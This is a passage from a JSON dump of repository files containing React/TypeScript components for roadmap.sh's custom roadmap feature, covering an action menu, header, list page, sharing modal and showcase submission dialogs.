href=\"/\"\n        className=\"mt-4 font-medium underline underline-offset-2 hover:no-underline\"\n      >\n        &larr; Go back to home\n      </a>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RoadmapActionButton.tsx",
    "content": "import { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\nimport { Lock, MoreVertical, PenSquare, Shapes, Trash2 } from 'lucide-react';\n\ntype RoadmapActionButtonProps = {\n  onDelete?: () => void;\n  onCustomize?: () => void;\n  onUpdateSharing?: () => void;\n};\n\nexport function RoadmapActionButton(props: RoadmapActionButtonProps) {\n  const { onDelete, onUpdateSharing, onCustomize } = props;\n\n  const menuRef = useRef<HTMLDivElement>(null);\n  const [isOpen, setIsOpen] = useState(false);\n\n  useOutsideClick(menuRef, () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div className=\"relative\">\n      <button\n        disabled={false}\n        onClick={() => setIsOpen(!isOpen)}\n        className=\"inline-flex items-center justify-center rounded-md border border-gray-300 bg-white py-1.5 pl-2 pr-2 text-xs font-medium text-black hover:border-gray-300 hover:bg-gray-300 sm:pl-1.5 sm:pr-3 sm:text-sm\"\n      >\n        <MoreVertical className=\"mr-0 h-4 w-4 stroke-[2.5] sm:mr-1.5\" />\n        <span className=\"hidden sm:inline\">Actions</span>\n      </button>\n\n      {isOpen && (\n        <div\n          ref={menuRef}\n          className=\"align-right absolute right-0 top-full z-9999 mt-1 w-[140px] rounded-md bg-slate-800 px-2 py-2 text-white shadow-md\"\n        >\n          <ul>\n            {onCustomize && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onCustomize();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <PenSquare size={14} className=\"mr-2\" />\n                  Edit\n                </button>\n              </li>\n            )}\n            {onUpdateSharing && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onUpdateSharing();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <Lock size={14} className=\"mr-2\" />\n                  Sharing\n                </button>\n              </li>\n            )}\n            {onDelete && (\n              <li>\n                <button\n                  onClick={() => {\n                    setIsOpen(false);\n                    onDelete();\n                  }}\n                  className=\"flex w-full cursor-pointer items-center rounded-sm p-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  <Trash2 size={14} className=\"mr-2\" />\n                  Delete\n                </button>\n              </li>\n            )}\n          </ul>\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RoadmapHeader.tsx",
    "content": "import { RoadmapHint } from './RoadmapHint';\nimport { useStore } from '@nanostores/react';\nimport { canManageCurrentRoadmap, currentRoadmap } from '../../stores/roadmap';\nimport { ShareOptionsModal } from '../ShareOptions/ShareOptionsModal';\nimport { useState } from 'react';\nimport { pageProgressMessage } from '../../stores/page';\nimport { httpDelete, httpPut } from '../../lib/http';\nimport { type TeamResourceConfig } from '../CreateTeam/RoadmapSelector';\nimport { useToast } from '../../hooks/use-toast';\nimport { RoadmapActionButton } from './RoadmapActionButton';\nimport { ShareRoadmapButton } from '../ShareRoadmapButton.tsx';\nimport { CustomRoadmapAlert } from './CustomRoadmapAlert.tsx';\nimport { CustomRoadmapRatings } from './CustomRoadmapRatings.tsx';\nimport { ShowcaseStatus } from './Showcase/ShowcaseStatus.tsx';\nimport { ShowcaseAlert } from './Showcase/ShowcaseAlert.tsx';\n\ntype RoadmapHeaderProps = {};\n\nexport function RoadmapHeader(props: RoadmapHeaderProps) {\n  const $canManageCurrentRoadmap = useStore(canManageCurrentRoadmap);\n  const $currentRoadmap = useStore(currentRoadmap);\n\n  const {\n    title,\n    description,\n    _id: roadmapId,\n    slug: roadmapSlug,\n    creator,\n    team,\n    visibility,\n    ratings,\n    unseenRatingCount,\n    showcaseStatus,\n  } = useStore(currentRoadmap) || {};\n\n  const [isSharing, setIsSharing] = useState(false);\n  const toast = useToast();\n\n  async function deleteResource() {\n    pageProgressMessage.set('Deleting roadmap');\n\n    const teamId = $currentRoadmap?.teamId;\n    const baseApiUrl = import.meta.env.PUBLIC_API_URL;\n\n    let error, response;\n    if (teamId) {\n      ({ error, response } = await httpPut<TeamResourceConfig>(\n        `${baseApiUrl}/v1-delete-team-resource-config/${teamId}`,\n        {\n          resourceId: roadmapId,\n          resourceType: 'roadmap',\n        },\n      ));\n    } else {\n      ({ error, response } = await httpDelete<TeamResourceConfig>(\n        `${baseApiUrl}/v1-delete-roadmap/${roadmapId}`,\n      ));\n    }\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    toast.success('Roadmap removed');\n    if (!teamId) {\n      window.location.href = '/account/roadmaps';\n    } else {\n      window.location.href = `/team/roadmaps?t=${teamId}`;\n    }\n  }\n\n  const avatarUrl = creator?.avatar\n    ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${creator?.avatar}`\n    : '/img/default-avatar.png';\n\n  return (\n    <>\n      <div className=\"relative border-b\">\n        {$currentRoadmap && $canManageCurrentRoadmap && (\n          <ShowcaseAlert currentRoadmap={$currentRoadmap} />\n        )}\n\n        <div className=\"container relative py-5 sm:py-12\">\n          {!$canManageCurrentRoadmap && <CustomRoadmapAlert />}\n\n          {creator?.name && (\n            <div className=\"-mb-1 flex items-center gap-1.5 text-sm text-gray-500\">\n              <img\n                alt={creator.name}\n                src={avatarUrl}\n                className=\"h-5 w-5 rounded-full\"\n              />\n              <span>\n                Created by&nbsp;\n                <span className=\"font-semibold text-gray-900\">\n                  {creator?.name}\n                </span>\n                {team && (\n                  <>\n                    &nbsp;from&nbsp;\n                    <span className=\"font-semibold text-gray-900\">\n                      {team?.name}\n                    </span>\n                  </>\n                )}\n              </span>\n            </div>\n          )}\n          <div className=\"mb-3 mt-4 sm:mb-4\">\n            <h1 className=\"text-2xl font-bold sm:mb-2 sm:text-4xl\">{title}</h1>\n            <p className=\"mt-0.5 text-sm text-gray-500 sm:text-lg\">\n              {description}\n            </p>\n          </div>\n\n          <div className=\"flex justify-between gap-2 sm:gap-0\">\n            <div className=\"flex justify-stretch gap-1 sm:gap-2\">\n              <a\n                href=\"/community\"\n                className=\"rounded-md bg-gray-500 px-3 py-1.5 text-xs font-medium text-white hover:bg-gray-600 sm:text-sm\"\n                aria-label=\"Back to All Roadmaps\"\n              >\n                &larr;\n                <span className=\"hidden sm:inline\">&nbsp;Discover more</span>\n              </a>\n\n              <ShareRoadmapButton\n                roadmapId={roadmapId!}\n                description={description!}\n                pageUrl={`https://roadmap.sh/r/${roadmapSlug}`}\n                allowEmbed={true}\n              />\n            </div>\n            <div className=\"flex items-center gap-2\">\n              {$canManageCurrentRoadmap && (\n                <>\n                  {isSharing && $currentRoadmap && (\n                    <ShareOptionsModal\n                      roadmapSlug={$currentRoadmap?.slug}\n                      isDiscoverable={$currentRoadmap.isDiscoverable}\n                      description={$currentRoadmap?.description}\n                      visibility={$currentRoadmap?.visibility}\n                      teamId={$currentRoadmap?.teamId}\n                      roadmapId={$currentRoadmap?._id!}\n                      sharedFriendIds={$currentRoadmap?.sharedFriendIds || []}\n                      sharedTeamMemberIds={\n                        $currentRoadmap?.sharedTeamMemberIds || []\n                      }\n                      onClose={() => setIsSharing(false)}\n                      onShareSettingsUpdate={(settings) => {\n                        currentRoadmap.set({\n                          ...$currentRoadmap,\n                          ...settings,\n                        });\n                      }}\n                    />\n                  )}\n\n                  {$currentRoadmap && (\n                    <ShowcaseStatus currentRoadmap={$currentRoadmap} />\n                  )}\n\n                  <RoadmapActionButton\n                    onUpdateSharing={() => setIsSharing(true)}\n                    onCustomize={() => {\n                      window.location.href = `${\n                        import.meta.env.PUBLIC_EDITOR_APP_URL\n                      }/${$currentRoadmap?._id}`;\n                    }}\n                    onDelete={() => {\n                      const confirmation = window.confirm(\n                        'Are you sure you want to delete this roadmap?',\n                      );\n\n                      if (!confirmation) {\n                        return;\n                      }\n\n                      deleteResource().finally(() => null);\n                    }}\n                  />\n                </>\n              )}\n\n              {showcaseStatus === 'approved' && (\n                <CustomRoadmapRatings\n                  roadmapSlug={roadmapSlug!}\n                  ratings={ratings!}\n                  canManage={$canManageCurrentRoadmap}\n                  unseenRatingCount={unseenRatingCount || 0}\n                />\n              )}\n            </div>\n          </div>\n\n          <RoadmapHint\n            roadmapTitle={title!}\n            roadmapId={roadmapId!}\n          />\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RoadmapHint.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport { ResourceProgressStats } from './ResourceProgressStats';\n\ntype RoadmapHintProps = {\n  roadmapId: string;\n  roadmapTitle: string;\n};\n\nexport function RoadmapHint(props: RoadmapHintProps) {\n  const { roadmapTitle, roadmapId } = props;\n\n  return (\n    <div\n      className={cn(\n        'mb-0 mt-4 rounded-md border-0 sm:-mb-[65px] sm:mt-7 sm:border',\n      )}\n    >\n      <ResourceProgressStats\n        isSecondaryBanner={false}\n        resourceId={roadmapId}\n        resourceType=\"roadmap\"\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/RoadmapListPage.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { httpGet } from '../../lib/http';\nimport { pageProgressMessage } from '../../stores/page';\nimport {\n  CreateRoadmapModal,\n  type RoadmapDocument,\n} from './CreateRoadmap/CreateRoadmapModal';\nimport { PersonalRoadmapList } from './PersonalRoadmapList';\nimport { useToast } from '../../hooks/use-toast';\nimport { SharedRoadmapList } from './SharedRoadmapList';\nimport type { FriendshipStatus } from '../Befriend';\nimport { useIsPaidUser } from '../../queries/billing';\nimport { UpgradeAccountModal } from '../Billing/UpgradeAccountModal';\n\nexport type FriendUserType = {\n  id: string;\n  name: string;\n  avatar: string;\n  status: FriendshipStatus;\n};\n\nexport type GetRoadmapListResponse = {\n  personalRoadmaps: (RoadmapDocument & {\n    topics: number;\n  })[];\n  sharedRoadmaps: (RoadmapDocument & {\n    topics: number;\n    creator: FriendUserType;\n  })[];\n};\n\ntype TabType = {\n  label: string;\n  value: 'personal' | 'shared';\n};\n\nconst tabTypes: TabType[] = [\n  { label: 'Personal', value: 'personal' },\n  { label: 'Shared by Friends', value: 'shared' },\n];\n\nexport const MAX_ROADMAP_LIMIT = 3;\n\nexport function RoadmapListPage() {\n  const toast = useToast();\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [isCreatingRoadmap, setIsCreatingRoadmap] = useState(false);\n  const [showUpgradeModal, setShowUpgradeModal] = useState(false);\n\n  const [activeTab, setActiveTab] = useState<TabType['value']>('personal');\n  const [allRoadmaps, setAllRoadmaps] = useState<GetRoadmapListResponse>({\n    personalRoadmaps: [],\n    sharedRoadmaps: [],\n  });\n\n  const { isPaidUser, isLoading: isLoadingIsPaidUser } = useIsPaidUser();\n\n  async function loadRoadmapList() {\n    setIsLoading(true);\n    const { response, error } = await httpGet<GetRoadmapListResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-roadmap-list`,\n    );\n\n    if (error || !response) {\n      console.error(error);\n      toast.error(error?.message || 'Something went wrong, please try again');\n      return;\n    }\n\n    setAllRoadmaps(\n      response! || {\n        personalRoadmaps: [],\n        sharedRoadmaps: [],\n      },\n    );\n  }\n\n  useEffect(() => {\n    loadRoadmapList().finally(() => {\n      setIsLoading(false);\n      pageProgressMessage.set('');\n    });\n  }, []);\n\n  if (isLoading) {\n    return null;\n  }\n\n  const totalRoadmaps = allRoadmaps.personalRoadmaps.length;\n  const hasCrossedLimit = !isPaidUser && totalRoadmaps >= MAX_ROADMAP_LIMIT;\n\n  return (\n    <div>\n      {isCreatingRoadmap && (\n        <CreateRoadmapModal onClose={() => setIsCreatingRoadmap(false)} />\n      )}\n\n      {showUpgradeModal && (\n        <UpgradeAccountModal onClose={() => setShowUpgradeModal(false)} />\n      )}\n\n      <div className=\"mb-6 flex flex-col justify-between gap-2 sm:flex-row sm:items-center sm:gap-0\">\n        <div className=\"flex grow items-center gap-2\">\n          {tabTypes.map((tab) => {\n            return (\n              <button\n                key={tab.value}\n                className={`relative flex w-full items-center justify-center rounded-md border p-1 px-3 text-sm whitespace-nowrap sm:w-auto ${\n                  activeTab === tab.value ? 'border-gray-400 bg-gray-200' : ''\n                } w-full sm:w-auto`}\n                onClick={() => setActiveTab(tab.value)}\n              >\n                {tab.label}\n              </button>\n            );\n          })}\n        </div>\n        <button\n          className={`relative flex w-full items-center justify-center rounded-md border p-1 px-3 text-sm sm:w-auto`}\n          onClick={() => {\n            if (hasCrossedLimit) {\n              setShowUpgradeModal(true);\n              return;\n            }\n\n            setIsCreatingRoadmap(true);\n          }}\n          disabled={isLoadingIsPaidUser}\n        >\n          + Create Roadmap\n        </button>\n      </div>\n\n      <div className=\"mt-4\">\n        {activeTab === 'personal' && (\n          <PersonalRoadmapList\n            maxLimit={\n              isPaidUser ? -1 : Math.max(MAX_ROADMAP_LIMIT, totalRoadmaps)\n            }\n            roadmaps={allRoadmaps?.personalRoadmaps}\n            setAllRoadmaps={setAllRoadmaps}\n            onUpgrade={() => setShowUpgradeModal(true)}\n            onDelete={(roadmapId) => {\n              setAllRoadmaps({\n                ...allRoadmaps,\n                personalRoadmaps: allRoadmaps.personalRoadmaps.filter(\n                  (r) => r._id !== roadmapId,\n                ),\n              });\n            }}\n          />\n        )}\n        {activeTab === 'shared' && (\n          <SharedRoadmapList roadmaps={allRoadmaps?.sharedRoadmaps} />\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/ShareRoadmapModal.tsx",
    "content": "import { useState } from 'react';\nimport { useStore } from '@nanostores/react';\nimport { Check, Copy, Loader2 } from 'lucide-react';\n\nimport { Modal } from '../Modal';\nimport type { AllowedRoadmapVisibility } from './CreateRoadmap/CreateRoadmapModal';\nimport { cn } from '../../lib/classname';\nimport { httpPatch } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport { useCopyText } from '../../hooks/use-copy-text';\nimport { currentRoadmap, isCurrentRoadmapPersonal } from '../../stores/roadmap';\n\ntype ShareRoadmapModalProps = {\n  onClose: () => void;\n};\n\nexport const allowedVisibilityLabels: {\n  id: AllowedRoadmapVisibility;\n  label: string;\n}[] = [\n  {\n    id: 'me',\n    label: 'Only visible to me',\n  },\n  {\n    id: 'public',\n    label: 'Anyone with the link',\n  },\n  {\n    id: 'team',\n    label: 'Visible to team members',\n  },\n  {\n    id: 'friends',\n    label: 'Only friends can view',\n  },\n];\n\nexport function ShareRoadmapModal(props: ShareRoadmapModalProps) {\n  const { onClose } = props;\n\n  const toast = useToast();\n  const $currentRoadmap = useStore(currentRoadmap);\n  const $isCurrentRoadmapPersonal = useStore(isCurrentRoadmapPersonal);\n  const roadmapId = $currentRoadmap?._id!;\n\n  const { copyText, isCopied } = useCopyText();\n  const [visibility, setVisibility] = useState($currentRoadmap?.visibility);\n  const [isLoading, setIsLoading] = useState(false);\n\n  async function updateVisibility(newVisibility: AllowedRoadmapVisibility) {\n    setIsLoading(true);\n    const { response, error } = await httpPatch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-update-roadmap-visibility/${\n        $currentRoadmap?._id\n      }`,\n      {\n        visibility: newVisibility,\n      }\n    );\n\n    if (error) {\n      console.error(error);\n      toast.error(error?.message || 'Something went wrong, please try again');\n      setIsLoading(false);\n      return;\n    }\n\n    setIsLoading(false);\n    toast.success('Visibility updated');\n    setVisibility(newVisibility);\n    currentRoadmap.set({\n      ...$currentRoadmap!,\n      visibility: newVisibility,\n    });\n  }\n\n  function handleCopy() {\n    const isDev = import.meta.env.DEV;\n    const url = new URL(\n      isDev ? 'http://localhost:3000/r' : 'https://roadmap.sh/r'\n    );\n    url.searchParams.set('id', roadmapId);\n    copyText(url.toString());\n  }\n\n  return (\n    <Modal onClose={onClose}>\n      <div className=\"p-4 pb-0\">\n        <h1 className=\"text-lg font-medium leading-5 text-gray-900\">\n          Updating {$currentRoadmap?.title}\n        </h1>\n      </div>\n\n      <ul className=\"mt-4 border-t\">\n        {allowedVisibilityLabels.map((v) => {\n          if (v.id === 'team' && $isCurrentRoadmapPersonal) {\n            return null;\n          } else if (v.id === 'friends' && !$isCurrentRoadmapPersonal) {\n            return null;\n          }\n\n          return (\n            <li key={v.id}>\n              <button\n                disabled={v.id === visibility || isLoading}\n                key={v.id}\n                className={cn(\n                  'relative flex w-full items-center border-b p-2.5 px-4 text-sm text-gray-700 hover:bg-gray-200 hover:text-gray-900 disabled:cursor-not-allowed',\n                  v.id === visibility &&\n                    'bg-gray-900 text-white hover:bg-gray-900 hover:text-white'\n                )}\n                onClick={() => updateVisibility(v.id)}\n              >\n                {v.label}\n\n                {v.id === visibility && (\n                  <span className=\"absolute bottom-0 right-0 top-0 flex w-8 items-center justify-center\">\n                    <span className=\"h-2 w-2 rounded-full bg-green-500\" />\n                  </span>\n                )}\n              </button>\n            </li>\n          );\n        })}\n      </ul>\n\n      <div className=\"flex items-center justify-between p-4\">\n        <button\n          disabled={isLoading}\n          className=\"flex h-9 items-center rounded-md border border-gray-200 bg-white px-4 py-2 text-sm font-medium text-black outline-hidden hover:border-gray-300 hover:bg-gray-50 focus:border-gray-300 focus:bg-gray-100 disabled:cursor-not-allowed disabled:opacity-70\"\n          onClick={onClose}\n        >\n          {isLoading ? (\n            <>\n              <Loader2 size={14} className=\"mr-2 animate-spin stroke-[2.5]\" />\n              Saving\n            </>\n          ) : (\n            'Cancel'\n          )}\n        </button>\n        <button\n          className=\"flex h-9 items-center justify-center rounded-md border border-transparent bg-gray-900 px-4 py-2 text-sm font-medium text-white outline-hidden hover:bg-gray-800 focus:bg-gray-800\"\n          onClick={handleCopy}\n        >\n          {isCopied ? (\n            <>\n              <Check size={14} className=\"mr-2 stroke-[2.5]\" />\n              Copied\n            </>\n          ) : (\n            <>\n              <Copy size={14} className=\"mr-2 stroke-[2.5]\" />\n              Copy Link\n            </>\n          )}\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/SharedRoadmapList.tsx",
    "content": "import { ExternalLinkIcon, Map, Plus } from 'lucide-react';\nimport RoadmapIcon from '../../icons/roadmap.svg';\nimport type { GetRoadmapListResponse } from './RoadmapListPage';\n\ntype GroupByCreator = {\n  creator: GetRoadmapListResponse['sharedRoadmaps'][number]['creator'];\n  roadmaps: GetRoadmapListResponse['sharedRoadmaps'];\n};\n\ntype SharedRoadmapListProps = {\n  roadmaps: GetRoadmapListResponse['sharedRoadmaps'];\n};\n\nexport function SharedRoadmapList(props: SharedRoadmapListProps) {\n  const { roadmaps: sharedRoadmaps } = props;\n\n  const allUniqueCreatorIds = new Set(\n    sharedRoadmaps.map((roadmap) => roadmap.creator.id)\n  );\n\n  const groupByCreator: GroupByCreator[] = [];\n  for (const creatorId of allUniqueCreatorIds) {\n    const creator = sharedRoadmaps.find(\n      (roadmap) => roadmap.creator.id === creatorId\n    )?.creator;\n    if (!creator) {\n      continue;\n    }\n\n    groupByCreator.push({\n      creator,\n      roadmaps: sharedRoadmaps.filter(\n        (roadmap) => roadmap.creator.id === creatorId\n      ),\n    });\n  }\n\n  if (sharedRoadmaps.length === 0) {\n    return (\n      <div className=\"flex flex-col items-center p-4 py-20\">\n        <Map className=\"mb-4 h-24 w-24 opacity-10\" />\n        <h3 className=\"mb-1 text-2xl font-bold text-gray-900\">No roadmaps</h3>\n        <p className=\"text-base text-gray-500\">\n          Roadmaps from your friends will appear here\n        </p>\n      </div>\n    );\n  }\n\n  return (\n    <div>\n      <div className=\"mb-3 flex items-center justify-between\">\n        <span className={'text-sm text-gray-400'}>\n          {sharedRoadmaps.length} shared roadmap(s)\n        </span>\n      </div>\n      <div>\n        <ul className=\"grid grid-cols-1 gap-4 sm:grid-cols-2\">\n          {groupByCreator.map((group) => {\n            const creator = group.creator;\n            return (\n              <li\n                key={creator.id}\n                className=\"flex flex-col items-start overflow-hidden rounded-md border border-gray-300\"\n              >\n                <div className=\"relative flex w-full items-center gap-3 p-3\">\n                  <img\n                    src={\n                      creator.avatar\n                        ? `${import.meta.env.PUBLIC_AVATAR_BASE_URL}/${\n                            creator.avatar\n                          }`\n                        : '/img/default-avatar.png'\n                    }\n                    alt={creator.name || ''}\n                    className=\"h-8 w-8 rounded-full\"\n                  />\n                  <div>\n                    <h3 className=\"truncate font-medium\">{creator.name}</h3>\n                    <p className=\"truncate text-sm text-gray-500\">\n                      {group?.roadmaps?.length || 0} shared roadmap(s)\n                    </p>\n                  </div>\n                </div>\n\n                <ul className=\"w-full\">\n                  {group?.roadmaps?.map((roadmap) => {\n                    return (\n                      <li\n                        key={roadmap._id}\n                        className=\"relative flex w-full border-t\"\n                      >\n                        <a\n                          href={`/r/=${roadmap?.slug}`}\n                          className=\"group inline-grid w-full grid-cols-[auto_16px] items-center justify-between gap-2 px-3 py-2 text-sm text-gray-600 transition-colors hover:bg-gray-100 hover:text-black\"\n                          target={'_blank'}\n                        >\n                          <span className=\"w-full truncate\">\n                            {roadmap.title}\n                          </span>\n\n                          <ExternalLinkIcon\n                            size={16}\n                            className=\"opacity-20 transition-opacity group-hover:opacity-100\"\n                          />\n                        </a>\n                      </li>\n                    );\n                  })}\n                </ul>\n              </li>\n            );\n          })}\n        </ul>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/Showcase/ShowcaseAlert.tsx",
    "content": "import { EyeIcon, FlagIcon, FrownIcon, SmileIcon } from 'lucide-react';\nimport { cn } from '../../../lib/classname';\nimport type { GetRoadmapResponse } from '../CustomRoadmap';\nimport { useState } from 'react';\nimport { SubmitShowcaseWarning } from './SubmitShowcaseWarning';\n\ntype ShowcaseAlertProps = {\n  currentRoadmap: GetRoadmapResponse;\n};\n\nexport function ShowcaseAlert(props: ShowcaseAlertProps) {\n  const { currentRoadmap } = props;\n\n  const [showRejectedReason, setShowRejectedReason] = useState(false);\n\n  const { showcaseStatus } = currentRoadmap;\n  if (!showcaseStatus) {\n    return null;\n  }\n\n  const showcaseStatusMap = {\n    submitted: {\n      icon: EyeIcon,\n      label:\n        'We are currently reviewing your roadmap, please wait for our response.',\n      className: 'bg-blue-100 text-blue-600 border-blue-200',\n    },\n    approved: {\n      icon: SmileIcon,\n      label: 'Hooray! Your roadmap is now visible on the community page.',\n      className: 'text-green-600 bg-green-100 border-green-300',\n    },\n    rejected: {\n      icon: FrownIcon,\n      label: 'Sorry, we are unable to feature your roadmap at this time.',\n      className: 'text-red-600 bg-red-100 border-red-300',\n    },\n    rejected_with_reason: {\n      icon: FlagIcon,\n      label: (\n        <>\n          Your roadmap could not be featured at this time{' '}\n          <button\n            className=\"font-medium underline underline-offset-2 hover:text-red-800\"\n            onClick={() => {\n              setShowRejectedReason(true);\n            }}\n          >\n            click here to see why\n          </button>\n        </>\n      ),\n      className: 'text-red-800 bg-red-200 border-red-200',\n    },\n  };\n  const showcaseStatusDetails = showcaseStatusMap[showcaseStatus];\n  if (!showcaseStatusDetails) {\n    return null;\n  }\n\n  const { icon: Icon, label, className } = showcaseStatusDetails;\n\n  return (\n    <>\n      {showRejectedReason && (\n        <SubmitShowcaseWarning\n          onClose={() => {\n            setShowRejectedReason(false);\n          }}\n        />\n      )}\n\n      <div\n        className={cn(\n          'z-10 border-b -mb-4',\n          showcaseStatusDetails.className,\n        )}\n      >\n        <div className=\"container relative flex items-center justify-center py-2 text-sm\">\n          <div className={cn('flex items-center gap-2', className)}>\n            <Icon className=\"h-4 w-4 shrink-0 stroke-[2.5]\" />\n            <div>{label}</div>\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/Showcase/ShowcaseStatus.tsx",
    "content": "import { useState } from 'react';\nimport { SubmitShowcaseWarning } from './SubmitShowcaseWarning';\nimport type { GetRoadmapResponse } from '../CustomRoadmap';\nimport { SendIcon } from 'lucide-react';\n\ntype ShowcaseStatusProps = {\n  currentRoadmap: GetRoadmapResponse;\n};\n\nexport function ShowcaseStatus(props: ShowcaseStatusProps) {\n  const { currentRoadmap } = props;\n\n  const { showcaseStatus } = currentRoadmap;\n  const [showSubmitWarning, setShowSubmitWarning] = useState(false);\n\n  if (!currentRoadmap || showcaseStatus || currentRoadmap.aiRoadmapId) {\n    return null;\n  }\n\n  return (\n    <>\n      {showSubmitWarning && (\n        <SubmitShowcaseWarning\n          onClose={() => {\n            setShowSubmitWarning(false);\n          }}\n        />\n      )}\n\n      <button\n        className=\"inline-flex items-center justify-center rounded-md border border-gray-300 bg-white py-1.5 pl-2 pr-2 text-xs font-medium text-black hover:border-gray-300 hover:bg-gray-300 sm:pl-1.5 sm:pr-3 sm:text-sm\"\n        onClick={() => {\n          setShowSubmitWarning(true);\n        }}\n        disabled={!!showcaseStatus}\n      >\n        <SendIcon className=\"mr-0 h-4 w-4 stroke-[2.5] sm:mr-1.5\" />\n        <span className=\"hidden sm:inline\">Apply to be Featured</span>\n      </button>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/Showcase/SubmitShowcaseWarning.tsx",
    "content": "import { useMutation } from '@tanstack/react-query';\nimport { Modal } from '../../Modal';\nimport { queryClient } from '../../../stores/query-client';\nimport { httpPost } from '../../../lib/query-http';\nimport { useStore } from '@nanostores/react';\nimport { currentRoadmap } from '../../../stores/roadmap';\nimport { useToast } from '../../../hooks/use-toast';\nimport { DateTime } from 'luxon';\n\ntype SubmitShowcaseWarningProps = {\n  onClose: () => void;\n};\n\nexport function SubmitShowcaseWarning(props: SubmitShowcaseWarningProps) {\n  const { onClose } = props;\n\n  const toast = useToast();\n  const $currentRoadmap = useStore(currentRoadmap);\n\n  const submit = useMutation(\n    {\n      mutationFn: async () => {\n        return httpPost(`/v1-submit-for-showcase/${$currentRoadmap?._id}`, {});\n      },\n      onSuccess: () => {\n        queryClient.invalidateQueries({\n          queryKey: ['get-roadmap'],\n        });\n\n        onClose();\n      },\n      onError: (error) => {\n        toast.error(error?.message || 'Something went wrong');\n      },\n    },\n    queryClient,\n  );\n\n  const {\n    showcaseStatus,\n    showcaseRejectedReason,\n    showcaseRejectedAt,\n    updatedAt,\n  } = $currentRoadmap || {};\n\n  return (\n    <Modal onClose={onClose}>\n      <div className=\"p-4\">\n        <h2 className=\"text-lg font-semibold\">\n          {showcaseStatus === 'rejected_with_reason'\n            ? 'Rejected with Reason'\n            : 'Feature Your Roadmap'}\n        </h2>\n        <p className=\"mt-2 text-sm\">\n          {showcaseStatus === 'rejected_with_reason' && (\n            <>\n              <span\n                className={\n                  'block rounded-md bg-red-100 px-2 py-1.5 text-red-700'\n                }\n              >\n                {showcaseRejectedReason}\n              </span>\n              <span className=\"block mt-3\">\n                Feel free to make changes to your roadmap and resubmit.\n              </span>\n            </>\n          )}\n          {!showcaseStatus && (\n            <>\n              We will review your roadmap and if accepted, we will make it\n              public and show it on the community roadmap listing.{' '}\n              <span className=\"mt-4 block font-medium\">\n                Are you sure to submit?\n              </span>\n            </>\n          )}\n        </p>\n\n        <div className=\"mt-4 grid grid-cols-2 gap-2\">\n          <button\n            className=\"grow cursor-pointer rounded-lg bg-gray-200 py-2 text-center text-sm hover:bg-gray-300\"\n            onClick={onClose}\n            disabled={submit.isPending}\n          >\n            Cancel\n          </button>\n          <button\n            className=\"w-full rounded-lg bg-gray-900 py-2 text-sm text-white hover:bg-gray-800 disabled:cursor-not-allowed disabled:opacity-60\"\n            disabled={submit.isPending}\n            onClick={() => {\n              const updatedAtDate =\n                updatedAt && DateTime.fromJSDate(new Date(updatedAt));\n              const showcaseRejectedAtDate =\n                showcaseRejectedAt &&\n                DateTime.fromJSDate(new Date(showcaseRejectedAt));\n\n              if (\n                showcaseRejectedAtDate &&\n                updatedAtDate &&\n                updatedAtDate < showcaseRejectedAtDate\n              ) {\n                toast.error(\n                  'You need to make changes to your roadmap before resubmitting.',\n                );\n                return;\n              }\n\n              submit.mutate();\n            }}\n          >\n            {submit.isPending\n              ? 'Submitting...'\n              : showcaseStatus === 'rejected_with_reason'\n                ? 'Resubmit'\n                : 'Submit'}\n          </button>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/CustomRoadmap/SkeletonRoadmapHeader.tsx",
    "content": "export function SkeletonRoadmapHeader() {\n  return (\n    <div className=\"border-b\">\n      <div className=\"container relative py-5 sm:py-12\">\n        <div className=\"-mb-0.5 flex items-center gap-1.5\">\n          <div className=\"h-5 w-5 animate-pulse rounded-full bg-gray-300\" />\n          <div className=\"h-5 w-5/12 animate-pulse rounded-md bg-gray-200\" />\n        </div>\n        <div className=\"mb-3 mt-4 sm:mb-4\">\n          <div className=\"h-8 w-1/2 animate-pulse rounded-md bg-gray-300 sm:mb-2 sm:h-10\" />\n          <div className=\"mt-0.5 h-5 w-1/3 animate-pulse rounded-md bg-gray-200 sm:h-7\" />\n        </div>\n\n        <div className=\"flex justify-between gap-2 sm:gap-0\">\n          <div className=\"flex gap-1 sm:gap-2\">\n            <div className=\"h-7 w-[35.04px] animate-pulse rounded-md bg-gray-300 sm:h-8 sm:w-32\" />\n            <div className=\"h-7 w-[35.04px] animate-pulse rounded-md bg-gray-300 sm:h-8 sm:w-[85px]\" />\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <div className=\"h-7 w-[60.52px] animate-pulse rounded-md bg-gray-300 sm:h-8 sm:w-[92px]\" />\n            <div className=\"h-7 w-[71.48px] animate-pulse rounded-md bg-gray-300 sm:h-8 sm:w-[139px]\" />\n          </div>\n        